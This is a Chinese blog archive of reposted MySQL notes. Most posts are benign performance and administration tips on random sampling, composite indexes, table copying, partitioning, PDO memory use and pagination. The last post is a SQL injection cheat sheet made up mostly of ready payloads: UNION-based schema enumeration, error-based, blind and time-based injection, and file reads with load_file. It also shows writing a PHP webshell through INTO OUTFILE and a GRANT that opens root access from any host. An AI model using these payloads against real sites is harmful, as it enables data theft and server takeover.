分类目录归档:MYSQL

MySQL随机取数据的几种方法(转自Ares)

1.order by rand()
数据多了极慢,随机性非常好,适合非常小数据量的情况。
2.SELECT * FROM table_name AS r1 JOIN (SELECT (ROUND(RAND() * (SELECT ABS(MAX(id)-MIN(id)-$limit) FROM table_name))+(SELECT MIN(id) from table_name)) AS id) AS r2 WHERE r1.id >= r2.id ORDER BY r1.id ASC LIMIT $limit;
速度非常快,但是得到的数据是id连续的,没办法解决。
子查询产生一个随机数。
rand()是0到1的随机数,可以等于0到1。
MAX(id)-MIN(id)还要要减去$limit以免结果数量不够$limit条
因为主表id可能不连续,所以r1.id要>=r2.id
还要注意的是有时候最小id不是从1开始的,可能从一个很大的数开始,所以必须加上M(id)的值
手册相关内容:若要在i ≤ R ≤ j 这个范围得到一个随机整数R ,需要用到表达式 FLOOR(i + RAND() * (j – i + 1))。例如, 若要在7 到 12 的范围(包括7和12)内得到一个随机整数, 可使用以下语句:
SELECT FLOOR(7 + (RAND() * 6));
3.select * from test where rand()<0.0005 limit 10;
0.0005是一个计算出的比例直接关系到随机的质量,比如数据表10000条数据,需要随机取300条,那么0.0005就需要改成(300/10000=0.03)。
这种方法不能保证每次能取到多少,需要取多次。

2和3速度一样的快,主要区别是2总能返回limit条数据,3就没准了(符合正太分布)。2是连续数据,3是随机行。

原文转自A哥博客:http://blog.phpdr.net/mysql%E9%9A%8F%E6%9C%BA%E5%8F%96%E6%95%B0%E6%8D%AE%E7%9A%84%E5%87%A0%E7%A7%8D%E6%96%B9%E6%B3%95.html

MYSQL ORDER BY 多字段多条件优化

SQL语句如下:

SELECT * FROM database WHERE 1 ORDER BY a ASC,b DESC LIMIT 2000

数据量有2000多万条,发现ORDER BY的时候花掉了10几秒时间。针对a和b字段都做了索引,依然无效。百度查了以后才知道,多个字段排序的时候会忽略索引,需要建立联合索引才可以。

建立联合索引:

AlTER TABLE database ADD INDEX a-b(a,b) USING BTREE

再次执行查询,发现还是不行。原来查询的时候要加上FORCE INDEX才可以:

SELECT * FROM database FORCE INDEX(a-b) WHERE 1 ORDER BY a ASC,b DESC LIMIT 2000

整个查询0.023s,很快!

mysql 复制表数据,表结构的3种方法

原文:http://blog.51yip.com/mysql/1311.html

什么时候我们会用到复制表?例如:我现在对一张表进行操作,但是怕误删数据,所以在同一个数据库中建一个表结构一样,表数据也一样的表,以作备份。如果用mysqldump比较麻烦,备份.MYD,.MYI这样的文件呢,操作起来也还是麻烦。
一,复制表结构
方法1:

mysql> create table a like users; //复制表结构
Query OK, 0 rows affected (0.50 sec)

mysql> show tables;
+----------------+
| Tables_in_test |
+----------------+
| a |
| users |
+----------------+
2 rows in set (0.00 sec)

方法2:

mysql> create table b select * from users limit 0; //复制表结构
Query OK, 0 rows affected (0.00 sec)
Records: 0 Duplicates: 0 Warnings: 0

mysql> show tables;
+----------------+
| Tables_in_test |
+----------------+
| a |
| b |
| users |
+----------------+
3 rows in set (0.00 sec)

方法3:

mysql> show create table users\G; //显示创表的sql
*************************** 1. row ***************************
Table: users
Create Table: CREATE TABLE `users` ( //改表名
`ID` bigint(20) unsigned NOT NULL AUTO_INCREMENT,
`user_name` varchar(60) NOT NULL DEFAULT '',
`user_pass` varchar(64) NOT NULL DEFAULT '',
PRIMARY KEY (`ID`)
) ENGINE=InnoDB AUTO_INCREMENT=5 DEFAULT CHARSET=utf8 //改auto_increment
1 row in set (0.00 sec)

把sql语句copy出来,改一下表名和atuo_increment,然后在执行一下。
二,复制表数据,以及表结构
方法1:

mysql> create table c select * from users; //复制表的sql
Query OK, 4 rows affected (0.00 sec)
Records: 4 Duplicates: 0 Warnings: 0

方法2:

mysql> create table d select user_name,user_pass from users where id=1;
Query OK, 1 row affected (0.00 sec)
Records: 1 Duplicates: 0 Warnings: 0

上面的2种方法,方便,快捷,灵活性强。
方法3:
先创建一个空表, INSERT INTO 新表 SELECT * FROM 旧表 ,或者
INSERT INTO 新表(字段1,字段2,…….) SELECT 字段1,字段2,…… FROM 旧表
这种方法不是很方便,也是我以前经常用的。

MySQL的表分区

http://lehsyh.iteye.com/blog/732719

http://dev.mysql.com/doc/refman/5.1/zh/partitioning.html

http://blog.chinaunix.net/uid-24373487-id-3190201.html

http://blog.csdn.net/tenfyguo/article/details/7628160

http://blog.51yip.com/mysql/1013.html

alter table links_depth partition by hash(part) partitions 4;

 

PHP中MYSQL内存占用问题

以下代码用CLI运行
define('ROOT_PATH', str_replace("\\",'/',dirname(__FILE__)));
define('EOL',PHP_EOL);

$len = 1000;
$mmm = 0;
$mm = 0;

for($i=0;$i<$len;$i++){
$pdo = new PDO('mysql:host=127.0.0.1;dbname=information_schema','root','root');

$sql = "SELECT * FROM STATISTICS";
$res = $pdo->query($sql)->fetchAll();
$m1 = memory_get_usage();

if($i>0){
$mm = $m1-$m2;
$mmm +=$mm;
}
$str = "MEMORY:".$m1."\tINCREASE:".$mm."\tTOTAL INCREASE:".$mmm.EOL;
echo $str;
$m2 = memory_get_usage();
unset($res);
unset($pdo);
}

//FOR循环中,为何$res和$pdo都unset了,但是MEMORY和TOTAL INCREASE的趋势还是增长的。这个内存是如何累加上来的?

//如果未见TOTAL INCREASE增长,换个数据条数比较大,字段类型有text的表做SELECT(修改对应sql语句)。

//因为CLI需要大量查询数据库,怎么样才可以把增长的内存去掉?

高效的MySQL分页

首先看一下分页的基本原理:

mysql> explain SELECT * FROM message ORDER BY id DESC LIMIT 10000, 20\G
***************** 1. row **************
id: 1
select_type: SIMPLE
table: message
type: index
possible_keys: NULL
key: PRIMARY
key_len: 4
ref: NULL
rows: 10020
Extra:
1 row in set (0.00 sec)

limit 10000,20的意思扫描满足条件的10020行,扔掉前面的10000行,返回最后的20行,问题就在这里,如果是limit 100000,100,需要扫描100100行,在一个高并发的应用里,每次查询需要扫描超过10W行,性能肯定大打折扣。文中还提到limit n性能是没问题的,因为只扫描n行。

文中提到一种”clue”的做法,给翻页提供一些”线索”,比如还是SELECT * FROM message ORDER BY id DESC,按id降序分页,每页20条,当前是第10页,当前页条目id最大的是9527,最小的是9500,如果我们只提供”上一页”、”下一页”这样的跳转(不提供到第N页的跳转),那么在处理”上一页”的时候SQL语句可以是:

SELECT * FROM message WHERE id > 9527 ORDER BY id ASC LIMIT 20;

处理”下一页”的时候SQL语句可以是:

SELECT * FROM message WHERE id < 9500 ORDER BY id DESC LIMIT 20; 不管翻多少页,每次查询只扫描20行。 缺点是只能提供”上一页”、”下一页”的链接形式,但是我们的产品经理非常喜欢”<上一页 1 2 3 4 5 6 7 8 9 下一页>”这样的链接方式,怎么办呢?

如果LIMIT m,n不可避免的话,要优化效率,只有尽可能的让m小一下,我们扩展前面的”clue”做法,还是SELECT * FROM message ORDER BY id DESC,按id降序分页,每页20条,当前是第10页,当前页条目id最大的是9527,最小的是9500,比如要跳到第8页,我看的SQL语句可以这样写:

SELECT * FROM message WHERE id > 9527 ORDER BY id ASC LIMIT 20,20;

跳转到第13页:

SELECT * FROM message WHERE id < 9500 ORDER BY id DESC LIMIT 40,20; 原理还是一样,记录住当前页id的最大值和最小值,计算跳转页面和当前页相对偏移,由于页面相近,这个偏移量不会很大,这样的话m值相对较小,大大减少扫描的行数。其实传统的limit m,n,相对的偏移一直是第一页,这样的话越翻到后面,效率越差,而上面给出的方法就没有这样的问题。 注意SQL语句里面的ASC和DESC,如果是ASC取出来的结果,显示的时候记得倒置一下。 已在60W数据总量的表中测试,效果非常明显。 原文:http://ourmysql.com/archives/598 参考:http://www.percona.com/files/presentations/ppc2009/PPC2009_mysql_pagination.pdf

MYSQL注入总结

目录:
0x00 mysql一般注入(select)
0x01 mysql一般注入(insert、update)
0x02 mysql报错注入
0x03 mysql一般盲注
0x04 mysql时间盲注
0x05 mysql其他注入技巧
0x06 mysql数据库版本特性
0x07 声明

正文:

0x00 mysql一般注入(select)

1.注释符
#
/*

2.过滤空格注入
使用/**/或()或+代替空格
%0c = form feed, new page
%09 = horizontal tab
%0d = carriage return
%0a = line feed, new line

3.多条数据显示
concat()
group_concat()
concat_ws()

4.相关函数
system_user() 系统用户名
user() 用户名
current_user 当前用户名
session_user()连接数据库的用户名
database() 数据库名
version() MYSQL数据库版本
load_file() MYSQL读取本地文件的函数
@@datadir 读取数据库路径
@@basedir MYSQL 安装路径
@@version_compile_os 操作系统 Windows Server 2003
GRANT ALL PRIVILEGES ON *.* TO ‘root’@’%’ IDENTIFIED BY ‘123456’ WITH GRANT OPTION;
5.mysql一般注入语句
猜字段数
order by n/*
查看mysql基本信息
and 1=2 union select 1,2,3,concat_ws(char(32,58,32),0x7c,user(),database(),version()),5,6,7/*
查询数据库
and 1=2 union select 1,schema_name,3,4 from information_schema.schemata limit 1,1/*
and 1=2 union select 1,group_concat(schema_name),3,4 from information_schema.schemata/*
查询表名
and 1=2 union select 1,2,3,4,table_name,5 from information_schema.tables where table_schema=数据库的16进制编码 limit 1,1/*
and 1=2 union select 1,2,3,4,group_concat(table_name),5 from information_schema.tables where table_schema=数据库的16进制编码/*
查询字段
and 1=2 union select 1,2,3,4,column_name,5,6,7 from information_schema.columns where table_name=表名的十六进制编码 and table_schema=数据库的16进制编码 limit 1,1/*
and 1=2 union select 1,2,3,4,group_concat(column_name),5,6,7 from information_schema.columns where table_name=表名的十六进制编码 and table_schema=数据库的16进制编码/*
查询数据
and 1=2 union select 1,2,3,字段1,5,字段2,7,8 from 数据库.表/*
判断是否具有读写权限
and (select count(*) from mysql.user)>0/*
and (select count(file_priv) from mysql.user)>0/*

6.mysql读取写入文件
必备条件:
读:file权限必备
写:1.绝对路径 2.union使用 3. 可以使用”
————————-读———————-
mysql3.x读取方法
create table a(cmd text);
load data infile ‘c:\\xxx\\xxx\\xxx.txt’ into table a;
select * from a;
mysql4.x读取方法
除上述方法还可以使用load_file()
create table a(cmd text);
insert into a(cmd) values(load_file(‘c:\\ddd\\ddd\\ddd.txt’));
select * from a;
mysql5.x读取方法
上述两种都可以
读取文件技巧:
load_file(char(32,26,56,66))
load_file(0x633A5C626F6F742E696E69)
————写————————–
into outfile写文件
union select 1,2,3,char(这里写入你转换成10进制或16进制的一句话木马代码),5,6,7,8,9,10,7 into outfile ‘d:\web\90team.php’/*
union select 1,2,3,load_file(‘d:\web\logo123.jpg’),5,6,7,8,9,10,7 into outfile ‘d:\web\90team.php’/*

0x01 mysql一般注入(insert、update)

mysql一般请求mysql_query不支持多语句执行,mysqli可以。

insert注入多使用报错注入!
1.如果可以直接插入管理员可以直接使用!
insert into user(username,password) values(‘xxxx’,’ xxxx’),(‘dddd’,’dddd’)/* ‘);
2.如果可以插入一些数据,这些数据会在网页中显示,我们可以结合xxs和csrf来获取cookies或getshell

update注入同上

0x02 mysql报错注入

1. and(select 1 from(select count(*),concat((select (select (语句)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1
语句处填入一般一句,如:SELECT distinct concat(0x7e,0x27,schema_name,0x27,0x7e) FROM information_schema.schemata LIMIT 0,1

2. and+1=(select+*+from+(select+NAME_CONST((语句),1),NAME_CONST((语句),1))+as+x)–
www.2cto.com
3.update web_ids set host=’www.0x50sec.org’ where id =1 aNd (SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(substring((Select (语句)),1,62)))a from information_schema.tables group by a)b);

4.insert into web_ids(host) values((select (1) from mysql.user where 1=1 aNd (SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(substring((Select (语句)),1,62)))a from information_schema.tables group by a)b)));
0x03 mysql一般盲注

使用ascii
AND ascii(substring((SELECT password FROM users where id=1),1,1))=49
使用正则表达式
and 1=(SELECT 1 FROM information_schema.tables WHERE TABLE_SCHEMA=”blind_sqli” AND table_name REGEXP ‘^[a-n]’ LIMIT 0,1)

0x04 mysql时间盲注

1170 union select if(substring(current,1,1)=char(11),benchmark(5000000,encode(‘msg’,’by 5 seconds’)),null) from (select database() as current) as tbl

UNION SELECT IF(SUBSTRING(Password,1,1)=’a’,BENCHMARK(100000,SHA1(1)),0) User,Password FROM mysql.user WHERE User = ‘root’

0x05 mysql其他注入技巧

以后遇见了更新

0x06 mysql数据库版本特性

1. mysql5.0以后 information.schema库出现
2. mysql5.1以后 udf 导入xx\lib\plugin\ 目录下
3.mysql5.x以后 system执行命令

0x07 声明

如有错误,希望指正
如果遗漏,希望讨论
小菜总结,大牛勿吐
记录笔记,时常复习